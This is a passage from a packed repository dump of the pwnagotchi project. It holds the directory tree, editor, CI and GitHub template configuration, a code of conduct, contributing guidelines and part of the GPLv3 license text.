Repository: evilsocket/pwnagotchi Branch: master Commit: 9f963e25e0c0 Files: 306 Total size: 3.4 MB Directory structure: gitextract_zo4q6okm/ ├── .DEREK.yml ├── .editorconfig ├── .gitattributes ├── .github/ │ ├── CODEOWNERS │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ ├── feature_request.md │ │ └── other.md │ ├── ISSUE_TEMPLATE.md │ └── PULL_REQUEST_TEMPLATE.md ├── .gitignore ├── .travis.yml ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE.md ├── MANIFEST.in ├── Makefile ├── README.md ├── bin/ │ └── pwnagotchi ├── builder/ │ ├── data/ │ │ ├── etc/ │ │ │ ├── bash_completion.d/ │ │ │ │ └── pwnagotchi_completion.sh │ │ │ ├── network/ │ │ │ │ └── interfaces.d/ │ │ │ │ ├── eth0-cfg │ │ │ │ ├── lo-cfg │ │ │ │ ├── usb0-cfg │ │ │ │ └── wlan0-cfg │ │ │ └── systemd/ │ │ │ └── system/ │ │ │ ├── bettercap.service │ │ │ ├── pwnagotchi.service │ │ │ └── pwngrid-peer.service │ │ └── usr/ │ │ └── bin/ │ │ ├── bettercap-launcher │ │ ├── decryption-webserver │ │ ├── hdmioff │ │ ├── hdmion │ │ ├── monstart │ │ ├── monstop │ │ ├── pwnagotchi-launcher │ │ └── pwnlib │ ├── pwnagotchi.json │ └── pwnagotchi.yml ├── pwnagotchi/ │ ├── __init__.py │ ├── _version.py │ ├── agent.py │ ├── ai/ │ │ ├── __init__.py │ │ ├── epoch.py │ │ ├── featurizer.py │ │ ├── gym.py │ │ ├── parameter.py │ │ ├── reward.py │ │ ├── train.py │ │ └── utils.py │ ├── automata.py │ ├── bettercap.py │ ├── defaults.toml │ ├── fs/ │ │ └── __init__.py │ ├── grid.py │ ├── identity.py │ ├── locale/ │ │ ├── af/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── bg/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── ch/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── cs/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── de/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── dk/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── el/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── es/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── fr/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── ga/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── hr/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── hu/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── it/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── jp/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── mk/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── nl/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── no/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── pl/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── pt/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── pt-BR/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── ro/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── ru/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── se/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── sk/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── spa/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── tr/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── tw/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ ├── ua/ │ │ │ └── LC_MESSAGES/ │ │ │ ├── voice.mo │ │ │ └── voice.po │ │ └── voice.pot │ ├── log.py │ ├── mesh/ │ │ ├── __init__.py │ │ ├── peer.py │ │ ├── utils.py │ │ └── wifi.py │ ├── plugins/ │ │ ├── __init__.py │ │ ├── cmd.py │ │ └── default/ │ │ ├── auto-update.py │ │ ├── bt-tether.py │ │ ├── example.py │ │ ├── gpio_buttons.py │ │ ├── gps.py │ │ ├── grid.py │ │ ├── led.py │ │ ├── logtail.py │ │ ├── memtemp.py │ │ ├── net-pos.py │ │ ├── onlinehashcrack.py │ │ ├── paw-gps.py │ │ ├── session-stats.py │ │ ├── switcher.py │ │ ├── ups_lite.py │ │ ├── watchdog.py │ │ ├── webcfg.py │ │ ├── webgpsmap.html │ │ ├── webgpsmap.py │ │ ├── wigle.py │ │ └── wpa-sec.py │ ├── ui/ │ │ ├── __init__.py │ │ ├── components.py │ │ ├── display.py │ │ ├── faces.py │ │ ├── fonts.py │ │ ├── hw/ │ │ │ ├── __init__.py │ │ │ ├── adafruitssd1306i2c.py │ │ │ ├── base.py │ │ │ ├── dfrobot1.py │ │ │ ├── dfrobot2.py │ │ │ ├── inky.py │ │ │ ├── lcdhat.py │ │ │ ├── libs/ │ │ │ │ ├── __init__.py │ │ │ │ ├── adafruit/ │ │ │ │ │ └── adafruitssd1306i2c/ │ │ │ │ │ ├── SSD1306.py │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── epd.py │ │ │ │ ├── dfrobot/ │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── v1/ │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── dfrobot.py │ │ │ │ │ │ ├── dfrobot_epaper.py │ │ │ │ │ │ ├── gpio.py │ │ │ │ │ │ └── spi.py │ │ │ │ │ └── v2/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── dfrobot.py │ │ │ │ │ ├── dfrobot_display/ │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── dfrobot_display.py │ │ │ │ │ │ ├── dfrobot_fonts.py │ │ │ │ │ │ └── dfrobot_printString.py │ │ │ │ │ ├── dfrobot_epaper.py │ │ │ │ │ ├── display_extension/ │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── fonts_6_8.py │ │ │ │ │ │ ├── fonts_8_16.py │ │ │ │ │ │ ├── freetype_helper.py │ │ │ │ │ │ └── readme.md │ │ │ │ │ ├── gpio.py │ │ │ │ │ ├── i2c.py │ │ │ │ │ └── spi.py │ │ │ │ ├── fb/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── fb.py │ │ │ │ ├── inkyphat/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── inkyfast.py │ │ │ │ │ └── inkyphatfast.py │ │ │ │ ├── papirus/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── epd.py │ │ │ │ │ └── lm75b.py │ │ │ │ └── waveshare/ │ │ │ │ ├── __init__.py │ │ │ │ ├── lcdhat/ │ │ │ │ │ ├── ST7789.py │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── config.py │ │ │ │ │ └── epd.py │ │ │ │ ├── lcdhat144/ │ │ │ │ │ ├── LCD_1in44.py │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── config.py │ │ │ │ │ └── epd.py │ │ │ │ ├── oledhat/ │ │ │ │ │ ├── SH1106.py │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── config.py │ │ │ │ │ └── epd.py │ │ │ │ ├── v1/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── epd2in13.py │ │ │ │ │ ├── epd2in13bc.py │ │ │ │ │ ├── epd2in13bcFAST.py │ │ │ │ │ └── epdconfig.py │ │ │ │ ├── v154inch/ │ │ │ │ │ ├── epd1in54b.py │ │ │ │ │ └── epdconfig.py │ │ │ │ ├── v2/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── waveshare.py │ │ │ │ ├── v213bc/ │ │ │ │ │ ├── epd2in13bc.py │ │ │ │ │ └── epdconfig.py │ │ │ │ ├── v213d/ │ │ │ │ │ ├── epd2in13d.py │ │ │ │ │ └── epdconfig.py │ │ │ │ ├── v213inb_v4/ │ │ │ │ │ ├── epd2in13b_V4.py │ │ │ │ │ └── epdconfig.py │ │ │ │ ├── v27inch/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── epd2in7.py │ │ │ │ │ └── epdconfig.py │ │ │ │ ├── v29inch/ │ │ │ │ │ ├── epd2in9.py │ │ │ │ │ └── epdconfig.py │ │ │ │ └── v3/ │ │ │ │ ├── epd2in13_V3.py │ │ │ │ └── epdconfig.py │ │ │ ├── oledhat.py │ │ │ ├── papirus.py │ │ │ ├── spotpear24inch.py │ │ │ ├── waveshare1.py │ │ │ ├── waveshare144lcd.py │ │ │ ├── waveshare154inch.py │ │ │ ├── waveshare2.py │ │ │ ├── waveshare213bc.py │ │ │ ├── waveshare213d.py │ │ │ ├── waveshare213inb_v4.py │ │ │ ├── waveshare27inch.py │ │ │ ├── waveshare29inch.py │ │ │ ├── waveshare3.py │ │ │ └── waveshare35lcd.py │ │ ├── state.py │ │ ├── view.py │ │ └── web/ │ │ ├── __init__.py │ │ ├── handler.py │ │ ├── server.py │ │ ├── static/ │ │ │ ├── css/ │ │ │ │ ├── jquery.jqplot.css │ │ │ │ └── style.css │ │ │ └── js/ │ │ │ ├── jquery.jqplot.js │ │ │ ├── jquery.mobile/ │ │ │ │ ├── jquery.mobile-1.4.5.css │ │ │ │ ├── jquery.mobile-1.4.5.js │ │ │ │ ├── jquery.mobile.external-png-1.4.5.css │ │ │ │ ├── jquery.mobile.icons-1.4.5.css │ │ │ │ ├── jquery.mobile.inline-png-1.4.5.css │ │ │ │ ├── jquery.mobile.inline-svg-1.4.5.css │ │ │ │ ├── jquery.mobile.structure-1.4.5.css │ │ │ │ └── jquery.mobile.theme-1.4.5.css │ │ │ ├── jquery.timeago.js │ │ │ ├── plugins/ │ │ │ │ ├── jqplot.BezierCurveRenderer.js │ │ │ │ ├── jqplot.barRenderer.js │ │ │ │ ├── jqplot.blockRenderer.js │ │ │ │ ├── jqplot.bubbleRenderer.js │ │ │ │ ├── jqplot.canvasAxisLabelRenderer.js │ │ │ │ ├── jqplot.canvasAxisTickRenderer.js │ │ │ │ ├── jqplot.canvasOverlay.js │ │ │ │ ├── jqplot.canvasTextRenderer.js │ │ │ │ ├── jqplot.categoryAxisRenderer.js │ │ │ │ ├── jqplot.ciParser.js │ │ │ │ ├── jqplot.cursor.js │ │ │ │ ├── jqplot.dateAxisRenderer.js │ │ │ │ ├── jqplot.donutRenderer.js │ │ │ │ ├── jqplot.dragable.js │ │ │ │ ├── jqplot.enhancedLegendRenderer.js │ │ │ │ ├── jqplot.enhancedPieLegendRenderer.js │ │ │ │ ├── jqplot.funnelRenderer.js │ │ │ │ ├── jqplot.highlighter.js │ │ │ │ ├── jqplot.json2.js │ │ │ │ ├── jqplot.logAxisRenderer.js │ │ │ │ ├── jqplot.mekkoAxisRenderer.js │ │ │ │ ├── jqplot.mekkoRenderer.js │ │ │ │ ├── jqplot.meterGaugeRenderer.js │ │ │ │ ├── jqplot.mobile.js │ │ │ │ ├── jqplot.ohlcRenderer.js │ │ │ │ ├── jqplot.pieRenderer.js │ │ │ │ ├── jqplot.pointLabels.js │ │ │ │ ├── jqplot.pyramidAxisRenderer.js │ │ │ │ ├── jqplot.pyramidGridRenderer.js │ │ │ │ ├── jqplot.pyramidRenderer.js │ │ │ │ └── jqplot.trendline.js │ │ │ └── viewportHeight.js │ │ └── templates/ │ │ ├── base.html │ │ ├── inbox.html │ │ ├── index.html │ │ ├── message.html │ │ ├── new_message.html │ │ ├── peers.html │ │ ├── plugins.html │ │ ├── profile.html │ │ └── status.html │ ├── utils.py │ └── voice.py ├── release.stork ├── requirements.txt ├── scripts/ │ ├── backup.sh │ ├── language.sh │ ├── linux_connection_share.sh │ ├── macos_connection_share.sh │ ├── openbsd_connection_share.sh │ ├── preview.py │ ├── pypi_upload.sh │ ├── restore.sh │ └── win_connection_share.ps1 └── setup.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .DEREK.yml ================================================ maintainers: - evilsocket - caquino - justin-p features: - comments - pr_description_required ================================================ FILE: .editorconfig ================================================ # EditorConfig helps developers define and maintain consistent # coding styles between different editors and IDEs # editorconfig.org root = true [*] indent_style = space indent_size = 2 charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true [Makefile] indent_style = tab [*.py] indent_style = space indent_size = 4 [*.json] insert_final_newline = ignore [*.js] indent_style = ignore insert_final_newline = ignore [*.{md,txt}] indent_size = 4 trim_trailing_whitespace = false ================================================ FILE: .gitattributes ================================================ /builder/** linguist-vendored /scripts/** linguist-vendored /pwnagotchi/ui/web/static/** linguist-vendored /pwnagotchi/ui/web/templates/*.* linguist-vendored /pwnagotchi/ui/web/templates/** linguist-vendored /pwnagotchi/locale/** linguist-vendored ================================================ FILE: .github/CODEOWNERS ================================================ evilsocket ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: # Replace with up to 4 GitHubSponsors-enabled usernames e.g., [user1, user2] patreon: evilsocket open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Create a report to help us improve title: "[BUG]" labels: bug assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior: 1. ... 2. ... 3. ... **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Environment (please complete the following information):** - Pwnagotchi version - OS version - Type of hardware - Any additional hardware used **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: Feature request about: Suggest an idea for this project title: '' labels: enhancement assignees: '' --- **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. ================================================ FILE: .github/ISSUE_TEMPLATE/other.md ================================================ --- name: Other about: Describe this issue template's purpose here. title: '' labels: '' assignees: '' --- ================================================ FILE: .github/ISSUE_TEMPLATE.md ================================================ ## Expected Behaviour ## Current Behaviour ## Possible Solution ## Steps to Reproduce (for bugs) 1. 2. 3. 4. ## Context ## Your Environment - [ ] You're using the official images - [ ] You're using a raspberry pi 0 - [ ] You're using a supported LCD ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ ## Description ## Motivation and Context - [ ] I have raised an issue to propose this change ([required](https://github.com/evilsocket/pwnagotchi/blob/master/CONTRIBUTING.md)) ## How Has This Been Tested? ## Types of changes - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) ## Checklist: - [ ] My code follows the code style of this project. - [ ] My change requires a change to the documentation. - [ ] I have updated the documentation accordingly. - [ ] I've read the [CONTRIBUTION](https://github.com/evilsocket/pwnagotchi/blob/master/CONTRIBUTING.md) guide - [ ] I have signed-off my commits with `git commit -s` ================================================ FILE: .gitignore ================================================ *.img *.img.bmap *.pcap *.po~ preview.png __pycache__ _backups _emulation _utils config.laptop.yml .idea packer_cache output-pwnagotchi .DS_Store build dist pwnagotchi.egg-info *backup*.tgz *backup*.gz .vscode # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ ================================================ FILE: .travis.yml ================================================ dist: bionic language: go go: - 1.x env: global: - LANG=C - LC_ALL=C deploy: provider: releases api_key: secure: "Rj0QnEDv02UzjKaxHHxJ/Sdj50EOFIrsKShr27GtVNSwHmNKxQuwlh31T0DQdif4wzcDtUZ5XWxr85vLkKJt1L8anb7Tb63qlu7Da69C+upSUow1uJkjsiScbMPqwHpwDIkkcUIbPsdbowI7qiNhRBD7nF8yyLPC5YLiU0cXKuGh4+Q5xdIlL3P7p8jm0919Y+olglzAZj0iNR/QxGOb+laNH8xi0oUsIPi5V0ZFfO/W/sm+nks9ki5nolfd1ML1gcbOD7uKuxIMTUrpDLl4p2Jx9IVQW+G2/tkmNLbP5Ga65NxQcfABQDYY3tCD8PsmFK9PEwa4cMbGJjqlo3yR7P21J5Aj3rK+L4KDntOvwem3Z3Y/v2JlQZn+gelhNFCxuPBi3ZihSf7POMHtpAYmi13N2ruzOg1ayjeYph0iN3vXIPs67DpAPaxK+8L2yoo6Nr/Cago9pGTkZoqS+J0fnWT31NXoYREPgg//L2+m42twQirFXttbhlGTBgNMLXpwcm8bZ2DW3pu3AEgVUxSoNAOjudoeyC0VzA6nUqe6STmfk06OYqcwM8q8NEyD62iAvUYU3Q7FnauZqcBqcP+ZYx82NPZybrQRX6YlJck5UomHbbEfjgpDFT+WvjrrfICmXH29YBOL1LWR4cKMT6RY58Cv8hT2PYxomB2I+DRrbqU=" skip_cleanup: true file_glob: true file: - pwnagotchi-*.zip - pwnagotchi-*.sha256 on: tags: true repo: evilsocket/pwnagotchi branches: only: - "/^v[0-9]+\\.[0-9]+\\.[0-9]+[A-Za-z0-9]*$/" cache: apt: true before_script: - sudo apt-get -y update || true - sudo apt-get -y install qemu-system-arm qemu-user-static binfmt-support bmap-tools kpartx - sudo update-binfmts --display script: - sudo make clean - sudo -E env "PATH=$PATH" make install - sudo make image -e PWN_HOSTNAME=pwnagotchi PWN_VERSION=$TRAVIS_TAG notifications: slack: secure: aovN87lswg+TTLobxJpevC0p2F4omTAlsOzeKqLysRW55o5rRhRC1SgwRkWUl19yr49nsyffwmv/b7OcyQiWIVnz1bxxE9XOKP8zgRMA/bKKcyAcPktPqHXsALIQDseXyl0kz7fwdkRWg0UC2HpKqi5koAhmBYTX/fbzieyeHCbcQ7lbFfVFIepE1401y9m1IqUHcHuGfFhMvTaSDIpXrDXnWdA8+gDAl0HKJv41MIsgmffbh/QhD2jLBWzItjxFC3llmNfy88pnzCk0+HBMY/4272LXb0czX7et5HJeM74oxPqkb3aKXFxZgNaDl7cYdV+kzj9dfKUk47hAqwbxlirit5WvHI1Br1VyA90+PFvcC/p41J8gCv0IlcB5vjWN8NKWA1J+Y1F+KvrujMvGtgd0foHZvaSutuRODhI1cBh5rYAiLCroRSlvKMw3IJRyCRstYgUlMIJ3cI2Ova/kU44KtDVmjT9VE/pPkhkHBPvcYThL6skZTdl19E/RlormLu3XObG1aHLZ+Znxe/aL7tWHi0KMOlpy+TMDdps4go7URnJ8yitHtIvU/zMtBrztIwN0Oy2JLKXrS5qIijmRAkBLxe0NxuG01DYFzEO3KtnRirP4uSe3QcrjyP4sqPrVhrjl3TR6gwg8V1juvDXB4e2h8yCpaUW5AdSBOlx9riY= ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at pwnagotchi@gmail.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq ================================================ FILE: CONTRIBUTING.md ================================================ ## Contributing ### Guidelines Here are a few guidelines for contributing: * If you would like to contribute to the codebase **please raise an issue to propose the change** * Do not mix feature changes or fixes with refactoring - it makes the code harder to review and means there is more for the maintainers (with limited time) to test * If you have found a bug please raise an issue and fill out the whole template. * If the documentation can be improved / translated etc please raise an issue to discuss. * Please always provide a summary of what you changed, how you did it and how it can be tested. ### License This project is licensed under the GPL3 License. #### Sign your work The sign-off is a simple line at the end of the explanation for a patch. Your signature certifies that you wrote the patch or otherwise have the right to pass it on as an open-source patch. The rules are pretty simple: if you can certify the below (from [developercertificate.org](http://developercertificate.org/)): ``` Developer Certificate of Origin Version 1.1 Copyright (C) 2004, 2006 The Linux Foundation and its contributors. 1 Letterman Drive Suite D4700 San Francisco, CA, 94129 Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Developer's Certificate of Origin 1.1 By making a contribution to this project, I certify that: (a) The contribution was created in whole or in part by me and I have the right to submit it under the open source license indicated in the file; or (b) The contribution is based upon previous work that, to the best of my knowledge, is covered under an appropriate open source license and I have the right under that license to submit that work with modifications, whether created in whole or in part by me, under the same open source license (unless I am permitted to submit under a different license), as indicated in the file; or (c) The contribution was provided directly to me by some other person who certified (a), (b) or (c) and I have not modified it. (d) I understand and agree that this project and the contribution are public and that a record of the contribution (including all personal information I submit with it, including my sign-off) is maintained indefinitely and may be redistributed consistent with this project or the open source license(s) involved. ``` Then you just add a line to every git commit message: Signed-off-by: Joe Smith If you set your `user.name` and `user.email` git configs, you can sign your commit automatically with `git commit -s`. * Please sign your commits with `git commit -s` so that commits are traceable. ================================================ FILE: LICENSE.md ================================================ GNU GENERAL PUBLIC LICENSE ========================== Version 3, 29 June 2007 Copyright © 2007 Free Software Foundation, Inc. <> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. ## Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. ## TERMS AND CONDITIONS ### 0. Definitions. “This License” refers to version 3 of the GNU General Public License. “Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. “The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations. To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work. A “covered work” means either the unmodified Program or a work based on the Program. To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. ### 1. Source Code. The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work. A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. ### 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. ### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. ### 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. ### 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: * **a)** The work must carry prominent notices stating that you modified it, and giving a relevant date. * **b)** The work must carry 